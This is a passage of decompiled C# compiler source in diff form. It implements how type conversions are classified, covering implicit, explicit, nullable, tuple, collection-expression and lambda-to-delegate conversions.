default(Conversion); + return false; + } + + public Conversion ClassifyConversionFromExpression(BoundExpression sourceExpression, TypeSymbol destination, bool isChecked, ref CompoundUseSiteInfo useSiteInfo, bool forCast = false) + { + if (TryGetVoidConversion(sourceExpression.Type, destination, out var conversion)) + { + return conversion; + } + if (forCast) + { + return ClassifyConversionFromExpressionForCast(sourceExpression, destination, isChecked, ref useSiteInfo); + } + Conversion result = ClassifyImplicitConversionFromExpression(sourceExpression, destination, ref useSiteInfo); + if (result.Exists) + { + return result; + } + return ClassifyExplicitOnlyConversionFromExpression(sourceExpression, destination, isChecked, ref useSiteInfo, forCast: false); + } + + public Conversion ClassifyConversionFromType(TypeSymbol source, TypeSymbol destination, bool isChecked, ref CompoundUseSiteInfo useSiteInfo, bool forCast = false) + { + if (TryGetVoidConversion(source, destination, out var conversion)) + { + return conversion; + } + if (forCast) + { + return ClassifyConversionFromTypeForCast(source, destination, isChecked, ref useSiteInfo); + } + Conversion result = FastClassifyConversion(source, destination); + if (result.Exists) + { + return result; + } + Conversion result2 = ClassifyImplicitBuiltInConversionSlow(source, destination, ref useSiteInfo); + if (result2.Exists) + { + return result2; + } + Conversion implicitUserDefinedConversion = GetImplicitUserDefinedConversion(source, destination, ref useSiteInfo); + if (implicitUserDefinedConversion.Exists) + { + return implicitUserDefinedConversion; + } + implicitUserDefinedConversion = ClassifyExplicitBuiltInOnlyConversion(source, destination, isChecked, ref useSiteInfo, forCast: false); + if (implicitUserDefinedConversion.Exists) + { + return implicitUserDefinedConversion; + } + return GetExplicitUserDefinedConversion(source, destination, isChecked, ref useSiteInfo); + } + + private Conversion ClassifyConversionFromExpressionForCast(BoundExpression source, TypeSymbol destination, bool isChecked, ref CompoundUseSiteInfo useSiteInfo) + { + Conversion conversion = ClassifyImplicitConversionFromExpression(source, destination, ref useSiteInfo); + if (conversion.Exists && !ExplicitConversionMayDifferFromImplicit(conversion)) + { + return conversion; + } + Conversion result = ClassifyExplicitOnlyConversionFromExpression(source, destination, isChecked, ref useSiteInfo, forCast: true); + if (result.Exists) + { + return result; + } + return conversion; + } + + private Conversion ClassifyConversionFromTypeForCast(TypeSymbol source, TypeSymbol destination, bool isChecked, ref CompoundUseSiteInfo useSiteInfo) + { + Conversion result = FastClassifyConversion(source, destination); + if (result.Exists) + { + return result; + } + Conversion conversion = ClassifyImplicitBuiltInConversionSlow(source, destination, ref useSiteInfo); + if (conversion.Exists && !ExplicitConversionMayDifferFromImplicit(conversion)) + { + return conversion; + } + Conversion result2 = ClassifyExplicitBuiltInOnlyConversion(source, destination, isChecked, ref useSiteInfo, forCast: true); + if (result2.Exists) + { + return result2; + } + if (conversion.Exists) + { + return conversion; + } + Conversion explicitUserDefinedConversion = GetExplicitUserDefinedConversion(source, destination, isChecked, ref useSiteInfo); + if (explicitUserDefinedConversion.Exists) + { + return explicitUserDefinedConversion; + } + return GetImplicitUserDefinedConversion(source, destination, ref useSiteInfo); + } + + public static Conversion FastClassifyConversion(TypeSymbol source, TypeSymbol target) + { + ConversionKind conversionKind = ConversionEasyOut.ClassifyConversion(source, target); + if (conversionKind != ConversionKind.ImplicitNullable && conversionKind != ConversionKind.ExplicitNullable) + { + return Conversion.GetTrivialConversion(conversionKind); + } + return Conversion.MakeNullableConversion(conversionKind, FastClassifyConversion(source.StrippedType(), target.StrippedType())); + } + + public Conversion ClassifyBuiltInConversion(TypeSymbol source, TypeSymbol destination, bool isChecked, ref CompoundUseSiteInfo useSiteInfo) + { + Conversion result = FastClassifyConversion(source, destination); + if (result.Exists) + { + return result; + } + Conversion result2 = ClassifyImplicitBuiltInConversionSlow(source, destination, ref useSiteInfo); + if (result2.Exists) + { + return result2; + } + return ClassifyExplicitBuiltInOnlyConversion(source, destination, isChecked, ref useSiteInfo, forCast: false); + } + + public Conversion ClassifyStandardConversion(TypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + return ClassifyStandardConversion(null, source, destination, ref useSiteInfo); + } + + public Conversion ClassifyStandardConversion(BoundExpression sourceExpression, TypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + Conversion result = ClassifyStandardImplicitConversion(sourceExpression, source, destination, ref useSiteInfo); + if (result.Exists) + { + return result; + } + if ((object)source != null) + { + return DeriveStandardExplicitFromOppositeStandardImplicitConversion(source, destination, ref useSiteInfo); + } + return Conversion.NoConversion; + } + + private static bool IsStandardImplicitConversionFromExpression(ConversionKind kind) + { + if (IsStandardImplicitConversionFromType(kind)) + { + return true; + } + switch (kind) + { + case ConversionKind.ImplicitEnumeration: + case ConversionKind.ImplicitTupleLiteral: + case ConversionKind.ImplicitNullToPointer: + case ConversionKind.ImplicitDynamic: + case ConversionKind.AnonymousFunction: + case ConversionKind.MethodGroup: + case ConversionKind.StackAllocToPointerType: + case ConversionKind.StackAllocToSpanType: + case ConversionKind.InlineArray: + return true; + default: + return false; + } + } + + private static bool IsStandardImplicitConversionFromType(ConversionKind kind) + { + switch (kind) + { + case ConversionKind.Identity: + case ConversionKind.ImplicitNumeric: + case ConversionKind.ImplicitTuple: + case ConversionKind.ImplicitNullable: + case ConversionKind.ImplicitReference: + case ConversionKind.Boxing: + case ConversionKind.ImplicitPointerToVoid: + case ConversionKind.ImplicitPointer: + case ConversionKind.ImplicitConstant: + return true; + default: + return false; + } + } + + private Conversion ClassifyStandardImplicitConversion(BoundExpression sourceExpression, TypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + Conversion result = ClassifyImplicitBuiltInConversionFromExpression(sourceExpression, source, destination, ref useSiteInfo); + if (result.Exists && !result.IsInterpolatedStringHandler && !result.IsCollectionExpression) + { + return result; + } + if ((object)source != null) + { + return ClassifyStandardImplicitConversion(source, destination, ref useSiteInfo); + } + return Conversion.NoConversion; + } + + private Conversion ClassifyStandardImplicitConversion(TypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + return classifyConversion(source, destination, ref useSiteInfo); + Conversion classifyConversion(TypeSymbol typeSymbol, TypeSymbol typeSymbol2, ref CompoundUseSiteInfo useSiteInfo2) + { + if (HasIdentityConversionInternal(typeSymbol, typeSymbol2)) + { + return Conversion.Identity; + } + if (HasImplicitNumericConversion(typeSymbol, typeSymbol2)) + { + return Conversion.ImplicitNumeric; + } + Conversion result = ClassifyImplicitNullableConversion(typeSymbol, typeSymbol2, ref useSiteInfo2); + if (result.Exists) + { + return result; + } + if (typeSymbol is FunctionTypeSymbol) + { + return Conversion.NoConversion; + } + if (HasImplicitReferenceConversion(typeSymbol, typeSymbol2, ref useSiteInfo2)) + { + return Conversion.ImplicitReference; + } + if (HasBoxingConversion(typeSymbol, typeSymbol2, ref useSiteInfo2)) + { + return Conversion.Boxing; + } + if (HasImplicitPointerToVoidConversion(typeSymbol, typeSymbol2)) + { + return Conversion.PointerToVoid; + } + if (HasImplicitPointerConversion(typeSymbol, typeSymbol2, ref useSiteInfo2)) + { + return Conversion.ImplicitPointer; + } + Conversion result2 = ClassifyImplicitTupleConversion(typeSymbol, typeSymbol2, ref useSiteInfo2); + if (result2.Exists) + { + return result2; + } + return Conversion.NoConversion; + } + } + + private Conversion ClassifyImplicitBuiltInConversionSlow(TypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + if (source.IsVoidType() || destination.IsVoidType()) + { + return Conversion.NoConversion; + } + Conversion result = ClassifyStandardImplicitConversion(source, destination, ref useSiteInfo); + if (result.Exists) + { + return result; + } + return Conversion.NoConversion; + } + + private Conversion GetImplicitUserDefinedConversion(BoundExpression sourceExpression, TypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + return new Conversion(AnalyzeImplicitUserDefinedConversions(sourceExpression, source, destination, ref useSiteInfo), isImplicit: true); + } + + private Conversion GetImplicitUserDefinedConversion(TypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + return GetImplicitUserDefinedConversion(null, source, destination, ref useSiteInfo); + } + + private Conversion ClassifyExplicitBuiltInOnlyConversion(TypeSymbol source, TypeSymbol destination, bool isChecked, ref CompoundUseSiteInfo useSiteInfo, bool forCast) + { + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Invalid comparison between Unknown and I4 + if (source.IsVoidType() || destination.IsVoidType()) + { + return Conversion.NoConversion; + } + if (HasSpecialIntPtrConversion(source, destination)) + { + return Conversion.IntPtr; + } + if (HasExplicitEnumerationConversion(source, destination)) + { + return Conversion.ExplicitEnumeration; + } + Conversion result = ClassifyExplicitNullableConversion(source, destination, isChecked, ref useSiteInfo, forCast); + if (result.Exists) + { + return result; + } + if (HasExplicitReferenceConversion(source, destination, ref useSiteInfo)) + { + if ((int)source.Kind != 3) + { + return Conversion.ExplicitReference; + } + return Conversion.ExplicitDynamic; + } + if (HasUnboxingConversion(source, destination, ref useSiteInfo)) + { + return Conversion.Unboxing; + } + Conversion result2 = ClassifyExplicitTupleConversion(source, destination, isChecked, ref useSiteInfo, forCast); + if (result2.Exists) + { + return result2; + } + if (HasPointerToPointerConversion(source, destination)) + { + return Conversion.PointerToPointer; + } + if (HasPointerToIntegerConversion(source, destination)) + { + return Conversion.PointerToInteger; + } + if (HasIntegerToPointerConversion(source, destination)) + { + return Conversion.IntegerToPointer; + } + if (HasExplicitDynamicConversion(source, destination)) + { + return Conversion.ExplicitDynamic; + } + return Conversion.NoConversion; + } + + private Conversion GetExplicitUserDefinedConversion(BoundExpression sourceExpression, TypeSymbol source, TypeSymbol destination, bool isChecked, ref CompoundUseSiteInfo useSiteInfo) + { + return new Conversion(AnalyzeExplicitUserDefinedConversions(sourceExpression, source, destination, isChecked, ref useSiteInfo), isImplicit: false); + } + + private Conversion GetExplicitUserDefinedConversion(TypeSymbol source, TypeSymbol destination, bool isChecked, ref CompoundUseSiteInfo useSiteInfo) + { + return GetExplicitUserDefinedConversion(null, source, destination, isChecked, ref useSiteInfo); + } + + private Conversion DeriveStandardExplicitFromOppositeStandardImplicitConversion(TypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + Conversion conversion = ClassifyStandardImplicitConversion(destination, source, ref useSiteInfo); + switch (conversion.Kind) + { + case ConversionKind.Identity: + return Conversion.Identity; + case ConversionKind.ImplicitNumeric: + return Conversion.ExplicitNumeric; + case ConversionKind.ImplicitReference: + return Conversion.ExplicitReference; + case ConversionKind.Boxing: + return Conversion.Unboxing; + case ConversionKind.NoConversion: + return Conversion.NoConversion; + case ConversionKind.ImplicitPointerToVoid: + return Conversion.PointerToPointer; + case ConversionKind.ImplicitTuple: + return Conversion.NoConversion; + case ConversionKind.ImplicitNullable: + { + TypeSymbol source2 = source.StrippedType(); + TypeSymbol destination2 = destination.StrippedType(); + Conversion nestedConversion = DeriveStandardExplicitFromOppositeStandardImplicitConversion(source2, destination2, ref useSiteInfo); + return nestedConversion.Exists ? Conversion.MakeNullableConversion(ConversionKind.ExplicitNullable, nestedConversion) : Conversion.NoConversion; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)conversion.Kind); + } + } + + public bool IsBaseInterface(TypeSymbol baseType, TypeSymbol derivedType, ref CompoundUseSiteInfo useSiteInfo) + { + if (!baseType.IsInterfaceType()) + { + return false; + } + if (!(derivedType is NamedTypeSymbol namedTypeSymbol)) + { + return false; + } + ImmutableArray.Enumerator enumerator = namedTypeSymbol.AllInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo).GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + if (HasIdentityConversionInternal(current, baseType)) + { + return true; + } + } + return false; + } + + public bool IsBaseClass(TypeSymbol derivedType, TypeSymbol baseType, ref CompoundUseSiteInfo useSiteInfo) + { + if (!baseType.IsClassType()) + { + return false; + } + TypeSymbol typeSymbol = derivedType.BaseTypeWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + while ((object)typeSymbol != null) + { + if (HasIdentityConversionInternal(typeSymbol, baseType)) + { + return true; + } + typeSymbol = typeSymbol.BaseTypeWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + } + return false; + } + + private static bool ExplicitConversionMayDifferFromImplicit(Conversion implicitConversion) + { + switch (implicitConversion.Kind) + { + case ConversionKind.ImplicitTupleLiteral: + case ConversionKind.ImplicitTuple: + case ConversionKind.ImplicitNullable: + case ConversionKind.ImplicitDynamic: + case ConversionKind.ImplicitUserDefined: + case ConversionKind.ConditionalExpression: + return true; + default: + return false; + } + } + + private Conversion ClassifyImplicitBuiltInConversionFromExpression(BoundExpression sourceExpression, TypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + if (HasImplicitDynamicConversionFromExpression(source, destination)) + { + return Conversion.ImplicitDynamic; + } + if (sourceExpression == null) + { + return Conversion.NoConversion; + } + if (HasImplicitEnumerationConversion(sourceExpression, destination)) + { + return Conversion.ImplicitEnumeration; + } + Conversion result = ClassifyImplicitConstantExpressionConversion(sourceExpression, destination); + if (result.Exists) + { + return result; + } + BoundKind kind = sourceExpression.Kind; + if (kind <= BoundKind.UnconvertedObjectCreationExpression) + { + if (kind <= BoundKind.DefaultLiteral) + { + if (kind != BoundKind.UnconvertedAddressOfOperator) + { + if (kind != BoundKind.BinaryOperator) + { + if (kind == BoundKind.DefaultLiteral) + { + return Conversion.DefaultLiteral; + } + } + else if (((BoundBinaryOperator)sourceExpression).IsUnconvertedInterpolatedStringAddition) + { + goto IL_01bb; + } + } + else if (destination is FunctionPointerTypeSymbol destination2) + { + Conversion methodGroupFunctionPointerConversion = GetMethodGroupFunctionPointerConversion(((BoundUnconvertedAddressOfOperator)sourceExpression).Operand, destination2, ref useSiteInfo); + if (methodGroupFunctionPointerConversion.Exists) + { + return methodGroupFunctionPointerConversion; + } + } + } + else + { + switch (kind) + { + case BoundKind.Literal: + { + Conversion result2 = ClassifyNullLiteralConversion(sourceExpression, destination); + if (result2.Exists) + { + return result2; + } + break; + } + case BoundKind.MethodGroup: + { + Conversion methodGroupDelegateConversion = GetMethodGroupDelegateConversion((BoundMethodGroup)sourceExpression, destination, ref useSiteInfo); + if (methodGroupDelegateConversion.Exists) + { + return methodGroupDelegateConversion; + } + break; + } + case BoundKind.UnconvertedObjectCreationExpression: + return Conversion.ObjectCreation; + } + } + } + else if (kind <= BoundKind.StackAllocArrayCreation) + { + switch (kind) + { + case BoundKind.TupleLiteral: + { + Conversion result3 = ClassifyImplicitTupleLiteralConversion((BoundTupleLiteral)sourceExpression, destination, ref useSiteInfo); + if (result3.Exists) + { + return result3; + } + break; + } + case BoundKind.StackAllocArrayCreation: + { + Conversion stackAllocConversion = GetStackAllocConversion((BoundStackAllocArrayCreation)sourceExpression, destination, ref useSiteInfo); + if (stackAllocConversion.Exists) + { + return stackAllocConversion; + } + break; + } + case BoundKind.UnconvertedCollectionExpression: + { + Conversion implicitCollectionExpressionConversion = GetImplicitCollectionExpressionConversion((BoundUnconvertedCollectionExpression)sourceExpression, destination, ref useSiteInfo); + if (implicitCollectionExpressionConversion.Exists) + { + return implicitCollectionExpressionConversion; + } + break; + } + } + } + else if (kind <= BoundKind.UnconvertedInterpolatedString) + { + if (kind != BoundKind.UnboundLambda) + { + if (kind == BoundKind.UnconvertedInterpolatedString) + { + goto IL_01bb; + } + } + else if (HasAnonymousFunctionConversion(sourceExpression, destination, Compilation)) + { + return Conversion.AnonymousFunction; + } + } + else + { + switch (kind) + { + case BoundKind.ExpressionWithNullability: + { + BoundExpression expression = ((BoundExpressionWithNullability)sourceExpression).Expression; + Conversion result4 = ClassifyImplicitBuiltInConversionFromExpression(expression, expression.Type, destination, ref useSiteInfo); + if (result4.Exists) + { + return result4; + } + break; + } + case BoundKind.ThrowExpression: + return Conversion.ImplicitThrow; + } + } + goto IL_0248; + IL_0248: + if (!IsAttributeArgumentBinding && !IsParameterDefaultValueBinding && (object)source != null && source.HasInlineArrayAttribute(out var _)) + { + FieldSymbol fieldSymbol = source.TryGetInlineArrayElementField(); + if ((object)fieldSymbol != null) + { + TypeWithAnnotations typeWithAnnotations = fieldSymbol.TypeWithAnnotations; + if ((destination.OriginalDefinition.Equals(Compilation.GetWellKnownType((WellKnownType)275), (TypeCompareKind)63) || destination.OriginalDefinition.Equals(Compilation.GetWellKnownType((WellKnownType)276), (TypeCompareKind)63)) && HasIdentityConversionInternal(((NamedTypeSymbol)destination.OriginalDefinition).Construct(ImmutableArray.Create(typeWithAnnotations)), destination)) + { + return Conversion.InlineArray; + } + } + } + return Conversion.NoConversion; + IL_01bb: + Conversion interpolatedStringConversion = GetInterpolatedStringConversion(sourceExpression, destination, ref useSiteInfo); + if (interpolatedStringConversion.Exists) + { + return interpolatedStringConversion; + } + goto IL_0248; + } + + private Conversion GetImplicitCollectionExpressionConversion(BoundUnconvertedCollectionExpression collectionExpression, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + Conversion collectionExpressionConversion = GetCollectionExpressionConversion(collectionExpression, destination, ref useSiteInfo); + if (collectionExpressionConversion.Exists) + { + return collectionExpressionConversion; + } + if (destination.IsNullableType(out TypeSymbol underlyingType)) + { + Conversion collectionExpressionConversion2 = GetCollectionExpressionConversion(collectionExpression, underlyingType, ref useSiteInfo); + if (collectionExpressionConversion2.Exists) + { + return new Conversion(ConversionKind.ImplicitNullable, ImmutableArray.Create(collectionExpressionConversion2)); + } + } + return Conversion.NoConversion; + } + + private Conversion GetSwitchExpressionConversion(BoundExpression source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + if (!(source is BoundConvertedSwitchExpression)) + { + if (source is BoundUnconvertedSwitchExpression boundUnconvertedSwitchExpression) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(boundUnconvertedSwitchExpression.SwitchArms.Length); + ImmutableArray.Enumerator enumerator = boundUnconvertedSwitchExpression.SwitchArms.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundSwitchExpressionArm current = enumerator.Current; + Conversion conversion = ClassifyImplicitConversionFromExpression(current.Value, destination, ref useSiteInfo); + if (!conversion.Exists) + { + instance.Free(); + return Conversion.NoConversion; + } + instance.Add(conversion); + } + return Conversion.MakeSwitchExpression(instance.ToImmutableAndFree()); + } + return Conversion.NoConversion; + } + return Conversion.NoConversion; + } + + private Conversion GetConditionalExpressionConversion(BoundExpression source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + if (!(source is BoundUnconvertedConditionalOperator boundUnconvertedConditionalOperator)) + { + return Conversion.NoConversion; + } + Conversion item = ClassifyImplicitConversionFromExpression(boundUnconvertedConditionalOperator.Consequence, destination, ref useSiteInfo); + if (!item.Exists) + { + return Conversion.NoConversion; + } + Conversion item2 = ClassifyImplicitConversionFromExpression(boundUnconvertedConditionalOperator.Alternative, destination, ref useSiteInfo); + if (!item2.Exists) + { + return Conversion.NoConversion; + } + return Conversion.MakeConditionalExpression(ImmutableArray.Create(item, item2)); + } + + private static Conversion ClassifyNullLiteralConversion(BoundExpression source, TypeSymbol destination) + { + if (!source.IsLiteralNull()) + { + return Conversion.NoConversion; + } + if (destination.IsNullableType()) + { + return Conversion.NullLiteral; + } + if (destination.IsReferenceType) + { + return Conversion.ImplicitReference; + } + if (destination.IsPointerOrFunctionPointer()) + { + return Conversion.NullToPointer; + } + return Conversion.NoConversion; + } + + private static Conversion ClassifyImplicitConstantExpressionConversion(BoundExpression source, TypeSymbol destination) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Invalid comparison between Unknown and I4 + if (HasImplicitConstantExpressionConversion(source, destination)) + { + return Conversion.ImplicitConstant; + } + if ((int)destination.Kind == 11 && destination.IsNullableType(out TypeSymbol underlyingType) && HasImplicitConstantExpressionConversion(source, underlyingType)) + { + return Conversion.ImplicitNullableWithImplicitConstantUnderlying; + } + return Conversion.NoConversion; + } + + private Conversion ClassifyImplicitTupleLiteralConversion(BoundTupleLiteral source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + Conversion implicitTupleLiteralConversion = GetImplicitTupleLiteralConversion(source, destination, ref useSiteInfo); + if (implicitTupleLiteralConversion.Exists) + { + return implicitTupleLiteralConversion; + } + if (destination.IsNullableType(out TypeSymbol underlyingType)) + { + Conversion implicitTupleLiteralConversion2 = GetImplicitTupleLiteralConversion(source, underlyingType, ref useSiteInfo); + if (implicitTupleLiteralConversion2.Exists) + { + return new Conversion(ConversionKind.ImplicitNullable, ImmutableArray.Create(implicitTupleLiteralConversion2)); + } + } + return Conversion.NoConversion; + } + + private Conversion ClassifyExplicitTupleLiteralConversion(BoundTupleLiteral source, TypeSymbol destination, bool isChecked, ref CompoundUseSiteInfo useSiteInfo, bool forCast) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Invalid comparison between Unknown and I4 + Conversion explicitTupleLiteralConversion = GetExplicitTupleLiteralConversion(source, destination, isChecked, ref useSiteInfo, forCast); + if (explicitTupleLiteralConversion.Exists) + { + return explicitTupleLiteralConversion; + } + if ((int)destination.Kind == 11 && destination.IsNullableType(out TypeSymbol underlyingType)) + { + Conversion explicitTupleLiteralConversion2 = GetExplicitTupleLiteralConversion(source, underlyingType, isChecked, ref useSiteInfo, forCast); + if (explicitTupleLiteralConversion2.Exists) + { + return new Conversion(ConversionKind.ExplicitNullable, ImmutableArray.Create(explicitTupleLiteralConversion2)); + } + } + return Conversion.NoConversion; + } + + internal static bool HasImplicitConstantExpressionConversion(BoundExpression source, TypeSymbol destination) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Invalid comparison between Unknown and I4 + //IL_00fa: Unknown result type (might be due to invalid IL or missing references) + //IL_00fd: Invalid comparison between Unknown and I4 + //IL_0100: Unknown result type (might be due to invalid IL or missing references) + //IL_0107: Invalid comparison between Unknown and I4 + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Expected I4, but got Unknown + ConstantValue constantValueOpt = source.ConstantValueOpt; + if (constantValueOpt == (ConstantValue)null || (object)source.Type == null) + { + return false; + } + SpecialType specialTypeSafe = source.Type.GetSpecialTypeSafe(); + if ((int)specialTypeSafe == 13) + { + int num = ((!constantValueOpt.IsBad) ? constantValueOpt.Int32Value : 0); + SpecialType specialTypeSafe2 = destination.GetSpecialTypeSafe(); + switch (specialTypeSafe2 - 9) + { + case 1: + if (0 <= num) + { + return num <= 255; + } + return false; + case 0: + if (-128 <= num) + { + return num <= 127; + } + return false; + case 2: + if (-32768 <= num) + { + return num <= 32767; + } + return false; + case 12: + if (destination.IsNativeIntegerType) + { + return true; + } + break; + case 13: + if (!destination.IsNativeIntegerType) + { + break; + } + goto case 5; + case 5: + return 0L <= (long)num; + case 7: + return 0 <= num; + case 3: + if (0 <= num) + { + return num <= 65535; + } + return false; + } + return false; + } + if ((int)specialTypeSafe == 15 && (int)destination.GetSpecialTypeSafe() == 16 && (constantValueOpt.IsBad || 0 <= constantValueOpt.Int64Value)) + { + return true; + } + return false; + } + + private Conversion ClassifyExplicitOnlyConversionFromExpression(BoundExpression sourceExpression, TypeSymbol destination, bool isChecked, ref CompoundUseSiteInfo useSiteInfo, bool forCast) + { + if (sourceExpression.Kind == BoundKind.TupleLiteral) + { + Conversion result = ClassifyExplicitTupleLiteralConversion((BoundTupleLiteral)sourceExpression, destination, isChecked, ref useSiteInfo, forCast); + if (result.Exists) + { + return result; + } + } + TypeSymbol type = sourceExpression.Type; + if ((object)type != null) + { + Conversion result2 = FastClassifyConversion(type, destination); + if (result2.Exists) + { + return result2; + } + Conversion result3 = ClassifyExplicitBuiltInOnlyConversion(type, destination, isChecked, ref useSiteInfo, forCast); + if (result3.Exists) + { + return result3; + } + } + return GetExplicitUserDefinedConversion(sourceExpression, type, destination, isChecked, ref useSiteInfo); + } + + private static bool HasImplicitEnumerationConversion(BoundExpression source, TypeSymbol destination) + { + if (!destination.IsEnumType() && (!destination.IsNullableType() || !destination.GetNullableUnderlyingType().IsEnumType())) + { + return false; + } + ConstantValue constantValueOpt = source.ConstantValueOpt; + if (constantValueOpt != (ConstantValue)null && (object)source.Type != null && IsNumericType(source.Type)) + { + return IsConstantNumericZero(constantValueOpt); + } + return false; + } + + private static LambdaConversionResult IsAnonymousFunctionCompatibleWithDelegate(UnboundLambda anonymousFunction, TypeSymbol type, CSharpCompilation compilation, bool isTargetExpressionTree) + { + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0136: Unknown result type (might be due to invalid IL or missing references) + //IL_013c: Invalid comparison between Unknown and I4 + //IL_0159: Unknown result type (might be due to invalid IL or missing references) + //IL_015e: Unknown result type (might be due to invalid IL or missing references) + //IL_00db: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)type; + MethodSymbol delegateInvokeMethod = namedTypeSymbol.DelegateInvokeMethod; + if ((object)delegateInvokeMethod == null || delegateInvokeMethod.HasUseSiteError) + { + return LambdaConversionResult.BadTargetType; + } + if (anonymousFunction.HasExplicitReturnType(out var refKind, out var returnType) && (delegateInvokeMethod.RefKind != refKind || !delegateInvokeMethod.ReturnType.Equals(returnType.Type, (TypeCompareKind)63))) + { + return LambdaConversionResult.MismatchedReturnType; + } + ImmutableArray parameters = delegateInvokeMethod.Parameters; + if (anonymousFunction.HasSignature) + { + if (anonymousFunction.ParameterCount != delegateInvokeMethod.ParameterCount) + { + return LambdaConversionResult.BadParameterCount; + } + if (anonymousFunction.HasExplicitlyTypedParameterList) + { + for (int i = 0; i < parameters.Length; i++) + { + if (!OverloadResolution.AreRefsCompatibleForMethodConversion(parameters[i].RefKind, anonymousFunction.RefKind(i), compilation) || !parameters[i].Type.Equals(anonymousFunction.ParameterType(i), (TypeCompareKind)63)) + { + return LambdaConversionResult.MismatchedParameterType; + } + } + } + else + { + for (int j = 0; j < parameters.Length; j++) + { + if ((int)parameters[j].RefKind != 0) + { + return LambdaConversionResult.RefInImplicitlyTypedLambda; + } + } + for (int k = 0; k < parameters.Length; k++) + { + if (parameters[k].TypeWithAnnotations.IsStatic) + { + return LambdaConversionResult.StaticTypeInImplicitlyTypedLambda; + } + } + } + } + else + { + for (int l = 0; l < parameters.Length; l++) + { + if ((int)parameters[l].RefKind == 2) + { + return LambdaConversionResult.MissingSignatureWithOutParameter; + } + } + } + if (ErrorFacts.PreventsSuccessfulDelegateConversion(anonymousFunction.Bind(namedTypeSymbol, isTargetExpressionTree).Diagnostics.Diagnostics)) + { + return LambdaConversionResult.BindingFailed; + } + return LambdaConversionResult.Success; + } + + private static LambdaConversionResult IsAnonymousFunctionCompatibleWithExpressionTree(UnboundLambda anonymousFunction, NamedTypeSymbol type, CSharpCompilation compilation) + { + TypeSymbol type2 = type.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[0].Type; + if (!type2.IsDelegateType()) + { + return LambdaConversionResult.ExpressionTreeMustHaveDelegateTypeArgument; + } + if (anonymousFunction.Syntax.Kind() == SyntaxKind.AnonymousMethodExpression) + { + return LambdaConversionResult.ExpressionTreeFromAnonymousMethod; + } + return IsAnonymousFunctionCompatibleWithDelegate(anonymousFunction, type2, compilation, isTargetExpressionTree: true); + } + + internal bool IsAssignableFromMulticastDelegate(TypeSymbol type, ref CompoundUseSiteInfo useSiteInfo) + { + NamedTypeSymbol specialType = corLibrary.GetSpecialType((SpecialType)3); + specialType.AddUseSiteInfo(ref useSiteInfo); + return ClassifyImplicitConversionFromType(specialType, type, ref useSiteInfo).Exists; + } + + public static LambdaConversionResult IsAnonymousFunctionCompatibleWithType(UnboundLambda anonymousFunction, TypeSymbol type, CSharpCompilation compilation) + { + if (type.IsDelegateType()) + { + return IsAnonymousFunctionCompatibleWithDelegate(anonymousFunction, type, compilation, isTargetExpressionTree: false); + } + if (type.IsExpressionTree()) + { + return IsAnonymousFunctionCompatibleWithExpressionTree(anonymousFunction, (NamedTypeSymbol)type, compilation); + } + return LambdaConversionResult.BadTargetType; + } + + private static bool HasAnonymousFunctionConversion(BoundExpression source, TypeSymbol destination, CSharpCompilation compilation) + { + if (source.Kind != BoundKind.UnboundLambda) + { + return false; + } + return IsAnonymousFunctionCompatibleWithType((UnboundLambda)source, destination, compilation) == LambdaConversionResult.Success; + } + + internal static CollectionExpressionTypeKind GetCollectionExpressionTypeKind(CSharpCompilation compilation, TypeSymbol destination, out TypeWithAnnotations elementType) + { + if (destination is ArrayTypeSymbol arrayTypeSymbol) + { + if (arrayTypeSymbol.IsSZArray) + { + elementType = arrayTypeSymbol.ElementTypeWithAnnotations; + return CollectionExpressionTypeKind.Array; + } + } + else + { + if (isSpanOrListType(compilation, destination, (WellKnownType)204, out elementType) && (object)compilation.GetWellKnownTypeMember((WellKnownMember)505) != null) + { + return CollectionExpressionTypeKind.ImmutableArray; + } + if (isSpanOrListType(compilation, destination, (WellKnownType)275, out elementType)) + { + return CollectionExpressionTypeKind.Span; + } + if (isSpanOrListType(compilation, destination, (WellKnownType)276, out elementType)) + { + return CollectionExpressionTypeKind.ReadOnlySpan; + } + if (isSpanOrListType(compilation, destination, (WellKnownType)206, out elementType)) + { + return CollectionExpressionTypeKind.List; + } + NamedTypeSymbol obj = destination as NamedTypeSymbol; + if ((object)obj != null && obj.HasCollectionBuilderAttribute(out TypeSymbol _, out string _)) + { + return 